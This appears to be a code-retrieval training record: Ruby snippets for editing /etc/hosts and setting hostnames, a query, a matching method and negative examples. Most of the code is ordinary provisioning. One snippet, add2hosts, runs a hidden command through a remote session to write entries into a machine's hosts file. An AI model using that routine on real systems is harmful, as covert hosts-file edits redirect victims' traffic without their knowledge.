"def update_hosts\n return unless File.exist?(hosts_path)\n return if File.readlines(hosts_path)\n .grep(/#{new_fqdn} #{new_hostname}/)\n .any?\n hosts_body = File.read(hosts_path).gsub(\n /^127\\.0\\.0\\.1.*/,\n \"127\\.0\\.0\\.1 #{new_fqdn} #{new_hostname} localhost\"\n )\n puts \"Adding \\\"#{new_fqdn}\\\" to #{hosts_path}...\"\n write_file(hosts_path, hosts_body)\n end",
"def setEtcHostEntry(host)\n\n bash \"/etc/hosts #{host}\" do\n code \"echo '127.0.0.1 #{host} # added by Chef' >> /etc/hosts\"\n only_if { `grep '127.0.0.1 #{host} # added by Chef' /etc/hosts`.to_s.empty? }\n end\n\n end",
"def update_etc_hosts(old_hostname = nil)\n hosts = File.join(ct.rootfs, 'etc', 'hosts')\n return unless writable?(hosts)\n\n regenerate_file(hosts, 0644) do |new, old|\n old.each_line do |line|\n if (/^127\\.0\\.0\\.1\\s/ =~ line || /^::1\\s/ =~ line) \\\n && !includes_hostname?(line, ct.hostname)\n\n if old_hostname && includes_hostname?(line, old_hostname)\n new.puts(replace_host(line, old_hostname, ct.hostname))\n\n else\n new.puts(add_host(line.strip, ct.hostname))\n end\n\n else\n new.write(line)\n end\n end\n end\n end",
"def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end",
"def hostname=(name)\n if hostname != name\n rebuild_host_file(name, fqdn)\n ssh.exec! \"hostname #{name}\", sudo: true\n ssh.exec! \"echo #{name} > /etc/hostname\", sudo: true\n end\n end",
"def add_host(new_host)\n @hosts.push(new_host)\n end",
"def addHost(host)\n\t\t@hosts.push(host)\n\tend",
"def append(options = {})\n if entry = find_entry_by_ip_address(options[:ip_address])\n hosts = normalize(entry.hostname, entry.aliases, options[:hostname], options[:aliases])\n entry.hostname = hosts.shift\n entry.aliases = hosts\n\n unless entry.comment && options[:comment] && entry.comment.include?(options[:comment])\n entry.comment = normalize(entry.comment, options[:comment]).join(', ')\n end\n\n remove_existing_hostnames(entry) if options[:unique]\n else\n add(options)\n end\n end",
"def prepend(line)\n if line =~ /\\s::(?:\\s+(.*?)\\s*)?$/\n self.desc = $1.to_s\n false\n else\n super\n end\n end",
"def to_line\n hosts = [hostname, aliases].flatten.join(' ')\n\n comments = \"# #{comment.to_s}\".strip\n comments << \" @#{priority}\" unless priority.nil? || @calculated_priority\n comments = comments.strip\n comments = nil if comments == '#'\n\n [ip_address, hosts, comments].compact.join(\"\\t\").strip\n end",
"def rebuild_hosts_file(new_name, new_fqdn)\n\n # Get the old hosts file\n hosts_content = ssh.exec! \"cat /etc/hosts\"\n hosts = Hosts::File.parse(hosts_content)\n\n # Delete old entry if exist\n hosts.elements.each{ |element| hosts.elements.delete element if element.class == Hosts::Entry && element.address == public_ip }\n \n # Add the new entry\n hosts_entry = Hosts::Entry.new public_ip, new_fqdn, aliases: [new_name], comment: ' Generated by Appd'\n hosts.elements.insert(0, hosts_entry)\n ssh.write \"/etc/hosts\", content: hosts.to_s, sudo: true\n end",
"def add_hosts_entry\n File.open(HOSTS_FILE_PATH, 'a') do |file|\n file.puts \"127.0.0.1\\t#{@app_name}\"\n end\n end",
"def add_host(hostname, port=nil)\n hostname, port = normalize_address(hostname, port)\n promise = nil\n @lock.synchronize do\n _, _, promise = @hosts.find { |h, p, _| h == hostname && p == port }\n if promise\n return promise.future\n else\n promise = Promise.new\n @hosts << [hostname, port, promise]\n end\n end\n if @io_reactor.running?\n promise.observe(connect(hostname, port))\n end\n promise.future.map(self)\n end",
"def with_hostname(hostname)\n @hostname = hostname\n self\n end",
"def hostname=(value)\n @hostname = value\n end",
"def host(hash)\n @hosts.update(hash)\n end",
"def fqdn=(name)\n rebuild_host_file(hostname, name) if fqdn != name\n end",
"def host_name=(value)\n @hostname = value\n end",
"def set_hostname\n @hostname = Hostname.find_by_name(params[:name])\n end",
"def hostname(h)\n @config[:host] = h\n end",
"def update_hosts_info()\n all_nodes = \"\"\n @nodes.each_with_index { |node, index|\n all_nodes << \"#{HelperFunctions.convert_fqdn_to_ip(node.private_ip)} appscale-image#{index}\\n\"\n }\n \n new_etc_hosts = <<HOSTS\n127.0.0.1 localhost.localdomain localhost\n127.0.1.1 localhost\n::1 ip6-localhost ip6-loopback\nfe00::0 ip6-localnet\nff00::0 ip6-mcastprefix\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\nff02::3 ip6-allhosts\n#{all_nodes}\nHOSTS\n\n etc_hosts = \"/etc/hosts\"\n File.open(etc_hosts, \"w+\") { |file| file.write(new_etc_hosts) } \n\n etc_hostname = \"/etc/hostname\"\n my_hostname = \"appscale-image#{@my_index}\"\n File.open(etc_hostname, \"w+\") { |file| file.write(my_hostname) }\n\n Djinn.log_run(\"/bin/hostname #{my_hostname}\")\n end",
"def add2hosts(session,record,hosts)\n\tip,host = record.split(\",\")\n\tprint_status(\"Adding Record for Host #{host} with IP #{ip}\")\n\tsession.sys.process.execute(\"cmd /c echo #{ip}\\t#{host} >> #{hosts}\",nil, {'Hidden' => true})\nend",
"def append_line(line)\n @entries.last.line << line\n end",
"def add_line(line)\n @text_lines << line.upcase_trim\n end",
"def add_line(line)\n @entries << line\n end",
"def update(options = {})\n if entry = find_entry_by_ip_address(options[:ip_address])\n entry.hostname = options[:hostname]\n entry.aliases = options[:aliases]\n entry.comment = options[:comment]\n entry.priority = options[:priority]\n\n remove_existing_hostnames(entry) if options[:unique]\n end\n end",
"def local_hosts_entry\n \"127.0.0.1 #{name}\\n127.0.0.1 localhost.localdomain localhost ubuntu\"\n end",
"def set_hostname(host, domain)\n set_hostname = <<SCRIPT\n sudo hostname #{host}.#{domain}\nSCRIPT\nend",
"def remove_existing_hostnames(entry)\n @entries.delete(entry)\n changed_hostnames = [entry.hostname, entry.aliases].flatten.uniq\n\n @entries = @entries.collect do |entry|\n entry.hostname = nil if changed_hostnames.include?(entry.hostname)\n entry.aliases = entry.aliases - changed_hostnames\n\n if entry.hostname.nil?\n if entry.aliases.empty?\n nil\n else\n entry.hostname = entry.aliases.shift\n entry\n end\n else\n entry\n end\n end.compact\n\n @entries << entry\n\n nil\n end",
"def update_etc_hosts(old_hostname = nil)\n path = File.join(ct.rootfs, 'etc', 'hosts')\n return unless writable?(path)\n\n hosts = EtcHosts.new(path)\n\n if old_hostname\n hosts.replace(old_hostname, ct.hostname)\n else\n hosts.set(ct.hostname)\n end\n end",
"def hosts_entry\n \"#{@ip} #{name}\"\n end",
"def build_hostname_list(unique, hosts)\n hostnames = []\n if $stdin.tty?\n # reading hostnames from command line\n hosts.each do |hostname|\n hostnames.push(ServerData.to_hostname(hostname))\n end\n else\n # reading hostnames from a pipe\n STDIN.each do |hostname|\n if hostname != \"\\n\"\n hostname.chomp!\n hostnames.push(ServerData.to_hostname(hostname))\n end\n end\n end\n\n # remove duplicate hostnames\n if unique\n hostnames.uniq!\n end\n hostnames\n end",
"def set_etc_hostname( name )\n sudo <<-SH\n if [ ! -e /etc/hostname -o \"$(< /etc/hostname)\" != \"#{name}\" ]; then\n echo #{name} > /etc/hostname\n hostname #{name}\n fi\n SH\n end",
"def add_line(line)\n @lines << line\n line\n end",
"def update_etc_hosts\n comm = machine.communicate\n network_with_hostname = machine.config.vm.networks.map {|_, c| c if c[:hostname] }.compact[0]\n if network_with_hostname\n replace_host(comm, new_hostname, network_with_hostname[:ip])\n else\n add_hostname_to_loopback_interface(comm, new_hostname)\n end\n end",
"def name=(new_name)\n rebuild_hosts_file(new_name, fqdn)\n ssh.exec! \"hostname #{new_name}\", sudo: true\n ssh.exec! \"echo #{new_name} > /etc/hostname\", sudo: true\n end",
"def add(host)\n\t\tputs \"Add entry to the local host repository: #{host}\"\n\t\thost=host.strip.downcase unless host.nil?\n\t\troot=get_domain_root(host)\n\t\tunless @known_hosts.key?(host)\n\t\t\tip=host_2_ip(host)\n\t\t\trecord=Hash.new\n\t\t\tif is_ip?(ip)\n\t\t\t\t# filter host to known domains only\n\t\t\t\tif is_trusted?(host)\n\t\t\t\t\trecord[host]=ip\n\t\t\t\t\trecord[ip]=host\n\t\t\t\t\tputs \"Host data repository entry loaded: #{host} <=> #{ip}\"\n\t\t\t\t\t# Replace instance with the class variable to avoid potential race condition under parallel engine\n\t\t\t\t\t# add additional logic to update the sub-domain table as well, 02/10/2014\n\t\t\t\t\tsub=get_sub_domain(host)\n\t\t\t\t\tif sub!=nil\n\t\t\t\t\t\ttracker=Wmap::DomainTracker::SubDomain.instance\n\t\t\t\t\t\ttracker.data_dir=@data_dir\n\t\t\t\t\t\ttracker.sub_domains_file = tracker.data_dir + \"sub_domains\"\n\t\t\t\t\t\ttracker.known_internet_sub_domains=tracker.load_domains_from_file(tracker.sub_domains_file)\n\t\t\t\t\t\tunless tracker.domain_known?(sub)\n\t\t\t\t\t\t\ttracker.add(sub)\n\t\t\t\t\t\t\ttracker.save!\n\t\t\t\t\t\tend\n\t\t\t\t\t\ttracker=nil\n\t\t\t\t\tend\n\t\t\t\t\t@known_hosts.merge!(record)\n\t\t\t\t\treturn record\n\t\t\t\telse\n\t\t\t\t\tdomain_tracker=nil\n\t\t\t\t\tputs \"Error - host #{host} has an untrusted internet root domain: #{root}\\nPlease update the trusted domain seeds file first if necessary.\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"Problem resolve host #{host} - unknown IP: #{ip}\"\n\t\t\tend\n\t\telse\n\t\t\tputs \"Host is already exist. Skip: #{host}\"\n\t\tend\n\t#rescue => ee\n\t#\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\tend",
"def new_hostname\n host || incremented_hostname || local_host_name\n end",
"def update_hostname(name)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'hostname'), 'w') do |file|\n file.puts name.split('.').first\n end\nend",
"def add_entry\n new_content = file_content MY_HOSTS_FILE\n open(HOSTS_FILE, 'a') do |f|\n f << \"\\n#{new_content}\\n\"\n end\nend",
"def add_forward_lookup(_ip, _hostname)\n end",
"def host=(new_host); end",
"def resolve_hostname_on(host, hostname)\n match = curl_on(host, \"--verbose #{hostname}\", accept_all_exit_codes: true).stderr.match(ipv4_regex)\n match ? match[0] : nil\n end",
"def add(options = {})\n entry = Entry.new(\n ip_address: options[:ip_address],\n hostname: options[:hostname],\n aliases: options[:aliases],\n comment: options[:comment],\n priority: options[:priority],\n )\n\n @entries << entry\n remove_existing_hostnames(entry) if options[:unique]\n end",
"def fqdn=(new_fqdn)\n rebuild_hosts_file(name, new_fqdn)\n end",
"def add_hosts(hosts:)\n @hosts = @hosts.+ Array hosts\n\n self\n end",
"def format_hosts\n all_hosts.inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end",
"def putline(line)\n @socket.puts(line.chomp)\n end",
"def add_hostname_to_loopback_interface(comm, name, loop_bound=DEAFAULT_LOOPBACK_CHECK_LIMIT)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n grep -w '#{name}' /etc/hosts || {\n for i in {1..#{loop_bound}}; do\n grep -w \"127.0.${i}.1\" /etc/hosts || {\n echo \"127.0.${i}.1 #{name} #{basename}\" >> /etc/hosts\n break\n }\n done\n }\n EOH\n end",
"def change_hostname(vid, hostname)\n perform_request(action: 'vserver-hostname', vserverid: vid, hostname: hostname)\n end",
"def add_line(line)\n\t\t@lines << line\n\tend",
"def print_host(host)\n\t\tputs \"Local host store entry for #{host}\"\n\t\thost.strip!\n\t\traise \"Invalid input: #{host}\" unless is_fqdn?(host)\n\t\tif @known_hosts.key?(host)\n\t\t\tvalue=@known_hosts[host]\n\t\t\tputs \"#{host}\\t#{value}\"\n\t\telse\n\t\t\tputs \"Unknown host in the local store: #{host}\"\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def set_hostname(server)\n\tserver.vm.provision 'shell', inline: \"hostname #{server.vm.hostname}\"\nend",
"def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end",
"def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end",
"def append_line(line)\n @lines.push(line)\n @current = false\n @current_pos = 0\n end",
"def insert_from_line( line )\n begin\n row = line.chomp.parse_csv\n @cached << record( row )\n rescue\n print '#'\n end\n\n flush_inserts if @cached.size >= CACHE_SIZE\n end",
"def set_hostname(hostname: nil)\n if hostname.nil?\n puts (\"Please enter the full hostname of the machine.\\n\" +\n '(i.e. the part that would appear including the https:// ' +\n 'in a url but before any other slashes):').yellow\n print CONFIRM_PREFIX.yellow\n hostname = gets\n File.open(HOSTNAME_CFG_FILE, 'w') do |f|\n f.write hostname\n end\n end\nend",
"def determine_hostname\n @info[:hostname] = @shell.query('HOST', 'hostname')\n end",
"def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end",
"def host\n hosts_file_path = '/etc/hosts'\n hosts_file = File.read(hosts_file_path)\n return $stdout.puts 'Pow is already in the hosts file. Please run `powify server unhost`' if hosts_file =~ /(#powify)/ || File.exists?(\"#{hosts_file_path}.powify.bak\")\n\n # break our hosts file into lines\n hosts_file = hosts_file.split(\"\\n\")\n pow_domains = Dir[\"#{POWPATH}/*\"].collect { |a| \"127.0.0.1\\t#{File.basename(a)}.#{extension}\\t#powify\" }\n\n # find the loop back and insert our domains after\n first_loopback_index = hosts_file.index{ |i| i =~ /^(127.0.0.1).+/ }\n hosts_file = hosts_file.insert(first_loopback_index + 1, pow_domains)\n\n %x{sudo cp #{hosts_file_path} #{hosts_file_path}.powify.bak}\n File.open(hosts_file_path, 'w+') { |f| f.puts hosts_file.join(\"\\n\") }\n\n %x{dscacheutil -flushcache}\n $stdout.puts \"All Pow apps were added to the hosts file.\"\n $stdout.puts \"The old host file is saved at #{hosts_file_path}.powify.bak.\"\n end",
"def append_line\n File.open(path, 'w') do |fh|\n lines.each do |l|\n fh.puts(l)\n end\n fh.puts line\n end\n end",
"def host=(h)\n attributes['host'] = h\n end",
"def host=(host)\n @hosts = nil\n @host = host\n end",
"def parse_logline(line) \n line.strip!\n split_line = line.split(/\\|/)\n addr = split_line[0].split(',').last.strip\n\n unless (addr =~ /[\\s|\\-]+/) \n @dns_map.synchronize do\n addr = @dns_map[addr] if @dns_map.include? addr\n end\n details = {}\n details[:upstream_response_time] = split_line[1].split(',').last.strip.to_f\n details[:time_local] = DateTime.strptime(split_line[2], '%d/%b/%Y:%H:%M:%S %Z')\n details[:status] = split_line[3].to_i\n details[:request_length] = split_line[4].to_i\n details[:body_bytes_sent] = split_line[5].to_i\n\n\n @log_entries.synchronize do\n @log_entries[addr] << details\n end\n end \n end",
"def userhost(n)\n @socket << \"USERHOST #{n}\"\n end",
"def all_hosts_in(file)\n servers = []\n file.each do |line|\n if line.include?('Host ')\n servers << line.sub('Host ', '').strip\n end\n end\n servers\n end",
"def add_line(line)\n @tip.string_content += line.slice(@offset, line.length) + '\\n'\n end",
"def format_hosts\n all_hosts(@config).inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end",
"def format_hosts\n all_hosts(@config).inject('') do |str, (address, aliases)|\n str << \"#{address} #{aliases.join(' ')}\\n\"\n end\n end",
"def hostname(arg = nil)\n set_or_return(:hostname, arg, kind_of: [String])\n end",
"def host=(v)\n check_host(v)\n set_host(v)\n v\n end",
"def parse_host(hostname)\n return nil if hostname.blank?\n\n begin\n return IPAddr.new(hostname)\n rescue IPAddr::InvalidAddressError\n end\n\n hostname\n end",
"def host=(new_host)\n unless new_host =~ /^http(s)?:\\/\\//\n new_host = \"https://#{new_host}\"\n end\n @host = new_host\n end",
"def hostname\n @hostname ||= `hostname`.chomp\n end",
"def generate_hosts_file(ec2, server_tag)\n if server_tag == nil \n server_tag = \"name\"\n end \n hosts_file = File.open(\"/etc/hosts\")\n File.open(\"/etc/hosts.bak\", \"w\") {|f| f.write hosts_file }\n i = 0\n host_file_updated = false\n host_lines = Array.new\n hosts_file.each do |line|\n host_lines[i] = line\n i=i+1 \n end\n server_name = \"\"\n ec2.describe_instances.each do |r|\n if r[:aws_state] == \"running\"\n server_name = r[:groups][0][:group_name]\n r[:tags].each do |k,v|\n if k == server_tag \n server_name = v \n end \n end \n private_ip_address = r[:private_ip_address]\n puts \"ip address #{private_ip_address} server #{server_name}\" \n host_found = false\n host_lines.each_index do |l|\n if host_lines[l] != nil and host_lines[l] != \"\"\n a = host_lines[l].split(\" \")\n if a.length > 0 and a[1] == server_name\n if a[0] != nil and a[0] != \"\" and a[0] != private_ip_address\n if a[0].length >= 7\n a[0] = private_ip_address\n host_lines[l] = \"\"\n host_file_updated = true\n host_found = true \n a.each do |d|\n host_lines[l] = \"#{host_lines[l]} #{d}\"\n end\n print_message(\" updated host #{host_lines[l]}\") \n end\n else\n if a[0] != nil and a[0] != \"\" and a[0] == private_ip_address \n host_found = true\n end\n end\n end\n end\n end \n if !host_found\n print_message(\"adding host #{private_ip_address} #{server_name}\") \n host_lines[host_lines.length+1] = \"#{private_ip_address} #{server_name}\"\n host_file_updated = true\n end\n end \n end \n if host_file_updated\n File.open(\"/etc/hosts\", \"w\") do |f|\n host_lines.each do |l| \n if l != nil\n f.puts(l)\n end\n end \n end\n end \nend",
"def host(s) self.host_value = s ; self end",
"def hashify_header(hash, line)\n return nil if line.nil? || line.strip.empty?\n key, value = line.split(':')\n hash[convert_key(key)] = value.strip.chomp\n end",
"def add(host, key); end",
"def add_alias host_name, *aliases\n\t\t\t\thost = get_host host_name\n\t\t\t\traise \"Couldn't find requested host to add alias.\" unless host\n\t\t\t\taliases.each {|a| @hosts[a.to_s.downcase] = host}\n\t\t\t\ttrue\n\t\t\tend",
"def set_host(v)\n @host = v\n end",
"def update_known_hosts\n buffer = StringIO.new\n buffer << \"#\\n\"\n buffer << \"# This file is automatically generated by the command `leap`. You should NOT modify this file.\\n\"\n buffer << \"# Instead, rerun `leap node init` on whatever node is causing SSH problems.\\n\"\n buffer << \"#\\n\"\n manager.nodes.keys.sort.each do |node_name|\n node = manager.nodes[node_name]\n hostnames = [node.name, node.domain.internal, node.domain.full, node.ip_address].join(',')\n pub_key = read_file([:node_ssh_pub_key,node.name])\n if pub_key\n buffer << [hostnames, pub_key].join(' ')\n buffer << \"\\n\"\n end\n end\n write_file!(:known_hosts, buffer.string)\n end",
"def host=(h)\n @host = h\n end",
"def canonical_instance_host(opennebula_instance)\n fail 'Instance object not provided!' unless opennebula_instance\n hosts = []\n\n opennebula_instance.each('HISTORY_RECORDS/HISTORY') { |history| hosts << history['HOSTNAME'] }\n hosts.compact!\n\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Assigning hosts #{hosts.inspect} \" \\\n \"to #{opennebula_instance['ID'].inspect}\"\n hosts.last\n end",
"def setLine (line)\n @line = line\n end",
"def [](hostname)\n return nil if @hosts[hostname].nil?\n @hosts[hostname][:host]\n end",
"def line=(line)\r\n members.each {|m| m.line = line}\r\n @line = line\r\n end",
"def address_resolve(hostname)\n\t\tif hostname =~ /\\Ascheduler-(.*)/\n\t\t\thostname = $1\n\t\tend\n\t\tsuper(hostname)\n\tend"
] |
[
"0.6946419",
"0.66520256",
"0.6427342",
"0.63516855",
"0.6333866",
"0.63029236",
"0.62920105",
"0.6242204",
"0.6224655",
"0.61852443",
"0.6142972",
"0.6113607",
"0.6006069",
"0.59538376",
"0.5926475",
"0.5910505",
"0.58857375",
"0.5871729",
"0.58388555",
"0.57949454",
"0.57655025",
"0.57455623",
"0.5741703",
"0.5719789",
"0.5678066",
"0.56417614",
"0.5627746",
"0.56224585",
"0.56101966",
"0.55543596",
"0.5546375",
"0.5545119",
"0.5528744",
"0.55283386",
"0.5490762",
"0.5488303",
"0.5486819",
"0.5460522",
"0.5426731",
"0.5422329",
"0.54181653",
"0.54137737",
"0.53450656",
"0.53279054",
"0.53122777",
"0.5312104",
"0.5308132",
"0.5296466",
"0.528935",
"0.5279283",
"0.5277454",
"0.526037",
"0.5251648",
"0.5251195",
"0.51985955",
"0.5194756",
"0.5187482",
"0.51804554",
"0.51800835",
"0.5146055",
"0.5142737",
"0.512697",
"0.5121827",
"0.5120317",
"0.5110594",
"0.5103987",
"0.5103987",
"0.5100256",
"0.50991297",
"0.5081204",
"0.50779843",
"0.50698066",
"0.50686353",
"0.50683874",
"0.5065554",
"0.5058282",
"0.50527656",
"0.5036474",
"0.5021229",
"0.5012952",
"0.49948385",
"0.49948385",
"0.49931747",
"0.499316",
"0.49742407",
"0.49650028",
"0.49648014",
"0.4951779",
"0.49326286",
"0.49307016",
"0.4918276",
"0.49148512",
"0.4904295",
"0.49041703",
"0.49000174",
"0.4899715",
"0.4898597",
"0.489189",
"0.489004",
"0.4869427"
] |
0.8507192
|
0
|
Remove `hostname` from `line` read from `/etc/hosts`
|
def replace_host(line, old_hostname, new_hostname)
line.sub(
/(\s)#{Regexp.escape(old_hostname.fqdn)}(\s|$)/,
"\\1#{new_hostname.fqdn}\\2"
)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fix_line\n el = @l.split(\" \")\n\n u = URI(el[1])\n\n disable = false\n\n case u.host\n when \"releases.ubuntu.com\"\n c = u.host\n u.host = \"archive.ubuntu.com\"\n if self.uri_exists(self.get_url(u.to_s)) == false\n u.host = c\n end\n when \"archive.ubuntu.com\", \"security.ubuntu.com\"\n c = u.host\n u.host = \"old-releases.ubuntu.com\"\n if self.uri_exists(self.get_url(u.to_s)) == false\n u.host = c\n end\n when \"old-releases.ubuntu.com\"\n raise Exception, \"You're fucked.\"\n else\n # this is tricky, e.g. is the mirror down or did it move?\n c = u.host\n\n if c =~ /(.*)\\.releases\\.ubuntu\\.com/\n u.host = \"archive.ubuntu.com\"\n elsif c =~ /(.*)\\.archive\\.ubuntu\\.com/\n u.host = \"old-releases.ubuntu.com\"\n else\n disable = true\n end\n\n if disable == false\n if self.uri_exists(u.to_s) == false\n u.host = c\n end\n end\n\n end\n\n el[1] = u.to_s\n line = el.join(\" \")\n\n if disable == true\n line = '#' + line\n end\n\n return line\n end",
"def replace_host(comm, name, ip)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n sed -i.bak '/#{name}/d' /etc/hosts\n sed -i.bak '1i\\\\\\n#{ip}\\t#{name}\\t#{basename}\\n' /etc/hosts\n EOH\n end",
"def change_hostname(fname, outfile)\n hostname = `hostname`.chomp\n File.open(fname) do |f|\n f.each_line do |line|\n line = line.sub(/ip-\\d{1,3}-\\d{1,3}-\\d{1,3}-\\d{1,3}/,hostname)\n outfile.puts line\n end\n end\nend",
"def add_host(line, hostname)\n return if line !~ /^([^\\s]+)(\\s+)/\n\n i = $~.end(2)\n \"#{$1}#{$2}#{hostname.fqdn} #{line[i..-1]}\"\n end",
"def strip_host(path)\n hosts.each do |host|\n return path if path !~ @@scheme_pattern\n\n path = path.sub(%r{^#{host}}, '')\n end\n\n return path\n end",
"def clean_hosts()\n str = \"\"\n hosts_file = \"hosts\"\n open(hosts_file, \"r\") {|f|\n f.each_line {|l|\n if l =~ /^(\\[|#|\\n)/ # match lines starting from \"[\", \"#\" or \"\\n\"\n str += l\n end\n }\n }\n open(hosts_file, \"w+\") {|f| f.write(str)}\nend",
"def replace_host(comm, name, ip)\n basename = name.split(\".\", 2)[0]\n comm.sudo <<-EOH.gsub(/^ {14}/, '')\n sed -i '/#{name}/d' /etc/hosts\n sed -i'' '1i '#{ip}'\\\\t#{name}\\\\t#{basename}' /etc/hosts\n EOH\n end",
"def remove_existing_hostnames(entry)\n @entries.delete(entry)\n changed_hostnames = [entry.hostname, entry.aliases].flatten.uniq\n\n @entries = @entries.collect do |entry|\n entry.hostname = nil if changed_hostnames.include?(entry.hostname)\n entry.aliases = entry.aliases - changed_hostnames\n\n if entry.hostname.nil?\n if entry.aliases.empty?\n nil\n else\n entry.hostname = entry.aliases.shift\n entry\n end\n else\n entry\n end\n end.compact\n\n @entries << entry\n\n nil\n end",
"def remove_origin_from_hostname(hostname)\n if hostname == @origin\n '@'\n elsif hostname.end_with?('.' + @origin)\n hostname.gsub(/\\.#{Regexp.escape(@origin)}$/, '')\n else\n raise StandardError.new(\"Hostname #{hostname} did not match origin #{@origin}\")\n end\n end",
"def update_etc_hosts(old_hostname = nil)\n regenerate_file(File.join(ct.rootfs, 'etc', 'hosts'), 0644) do |new, old|\n old.each_line do |line|\n if (/^127\\.0\\.0\\.1\\s/ =~ line || /^::1\\s/ =~ line) \\\n && !includes_hostname?(line, ct.hostname)\n\n if old_hostname && includes_hostname?(line, old_hostname)\n line.sub!(/\\s#{Regexp.escape(old_hostname)}/, '')\n end\n\n new.puts(\"#{line.rstrip} #{ct.hostname}\")\n\n else\n new.write(line)\n end\n end\n end\n end",
"def remove_host(host)\r\n @hosts.delete(host)\r\n end",
"def rm(hostname)\n hosts.delete hostname\n end",
"def remove_alias_name(alias_name, file, new_file)\n started_removing = false\n file.each do |line|\n started_removing ||= line.include?(\"Host #{alias_name}\")\n if started_removing\n # I will never stop till I find another host that is not the one I'm removing\n stop_removing = (started_removing && line.include?('Host ') && !(line =~ /\\b#{alias_name}\\b/))\n PRINTER.verbose_print line unless stop_removing\n if stop_removing && started_removing\n new_file.write(line)\n end\n started_removing = !stop_removing\n else\n # Everything else should be transfered safely to the other file\n new_file.write(line)\n end\n end\n file.close\n new_file.close\n end",
"def munge\n host_name.sub(/\\A(.{1,2}).*/) { |m| $1 + @config[:munge_string] }\n end",
"def rebuild_host_file(hostname_, fqdn_)\n\n # Get the old hosts file\n hosts_content = ssh.exec! \"cat /etc/hosts\"\n hosts = Hosts::File.parse(hosts_content)\n\n # Delete old entry if exist\n hosts.elements.each{ |element| hosts.elements.delete element if element.class == Hosts::Entry && element.address == ip }\n \n # Add the new entry\n localhost_entry = Hosts::Entry.new ip, fqdn_, aliases: [hostname_], comment: ' Generated by Appd'\n hosts.elements.insert(0, localhost_entry)\n ssh.write \"/etc/hosts\", content: hosts.to_s, sudo: true\n end",
"def clean_line(line)\n line.strip\n end",
"def delete(host)\n\t\tputs \"Remove entry from the local host repository: #{host} \"\n\t\thost=host.strip.downcase\n\t\tif @known_hosts.key?(host)\n\t\t\t@known_hosts.delete(host)\n\t\t\tputs \"Entry cleared.\"\n\t\t\treturn host\n\t\telse\n\t\t\tputs \"Entry not fund. Skip: #{host}\"\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def includes_hostname?(line, hostname)\n /\\s#{Regexp.escape(hostname.fqdn)}(\\s|$)/ =~ line\n end",
"def clean(line)\n line.chomp.strip\n end",
"def cleanup_hostname!\n return unless machine.config.vm.hostname.nil?\n machine.communicate.sudo(\"rm -f /etc/nixos/vagrant-hostname.nix\")\n end",
"def remove(alias_name, options)\n output = \"\"\n started_removing = false\n file = File.open(FILE_PATH, \"r\")\n new_file = File.open(FILE_PATH+\"temp\", \"w\")\n file.each do |line|\n if line.include?(\"Host #{alias_name}\") || started_removing\n # I will never stop till I find another host that is not the one I'm removing\n if started_removing && line.include?(\"Host \") && !line.include?(alias_name)\n started_removing = false\n else\n PRINTER.verbose_print line\n started_removing = true\n end\n else\n # Everything else should be transfered safely to the other file\n new_file.write(line)\n end\n end\n file.close\n new_file.close\n File.delete(FILE_PATH)\n File.rename(FILE_PATH + \"temp\", FILE_PATH)\n\n # causes a bug in fedore if permission was not updated to 0600\n File.chmod(0600, FILE_PATH) \n # system \"chmod 600 #{FILE_PATH}\"\n\n unless PRINTER.output?\n PRINTER.print \"could not find host (#{alias_name})\"\n end\n finish_exec\n end",
"def stripServer(servers, hostname, port)\n upperCaseHostname = hostname.upcase;\n count = servers.length\n servername = nil\n for server in servers\n hostFromServerName, portFromServerName = getHostPortFromServerName(server)\n hostFromServerName = hostFromServerName.upcase\n if hostFromServerName == upperCaseHostname and portFromServerName == port\n servername = servers.delete(server)\n end\n end\n # Check server to exclude is actually present\n raise RuntimeError, \"Server %s:%d not online\" % [hostname, port] unless servers.length < count\n return servername\nend",
"def includes_hostname?(line, hostname)\n /\\s#{Regexp.escape(hostname)}(\\s|$)/ =~ line\n end",
"def remove_line_from_file(path, line)\n run \"#{sudo} sed -i '/#{escape_sed(line)}/d' #{path}\", options\n end",
"def remove_host(host_name)\n raise 'Server Name Indication (SNI) not configured for default host' unless @hosts\n raise 'only valid for server mode context' unless @is_server\n context = @hosts[host_name.to_s]\n if context\n @hosts.delete(host_name.to_s)\n context.cleanup\n end\n nil\n end",
"def normalized_host\n # Remove trailing '.' characters\n host.sub(/\\.*$/, '').downcase if host\n end",
"def build_hostname_list(unique, hosts)\n hostnames = []\n if $stdin.tty?\n # reading hostnames from command line\n hosts.each do |hostname|\n hostnames.push(ServerData.to_hostname(hostname))\n end\n else\n # reading hostnames from a pipe\n STDIN.each do |hostname|\n if hostname != \"\\n\"\n hostname.chomp!\n hostnames.push(ServerData.to_hostname(hostname))\n end\n end\n end\n\n # remove duplicate hostnames\n if unique\n hostnames.uniq!\n end\n hostnames\n end",
"def ip_to_node ip\n #Get the lines from nta where node is with that IP\n node_ip_lines = $nodes_to_addrs.select{ |line| line =~ /#{ip}/ }\n\n if (node_ip_lines[0] == nil)\n puts \"ERROR: Could not find the IP = #{ip} in the nodes_to_addrs.txt file\"\n return nil\n end\n\n #Remove the IP and whitespace from string\n node_ip_lines[0].split[0...1].join(' ')\nend",
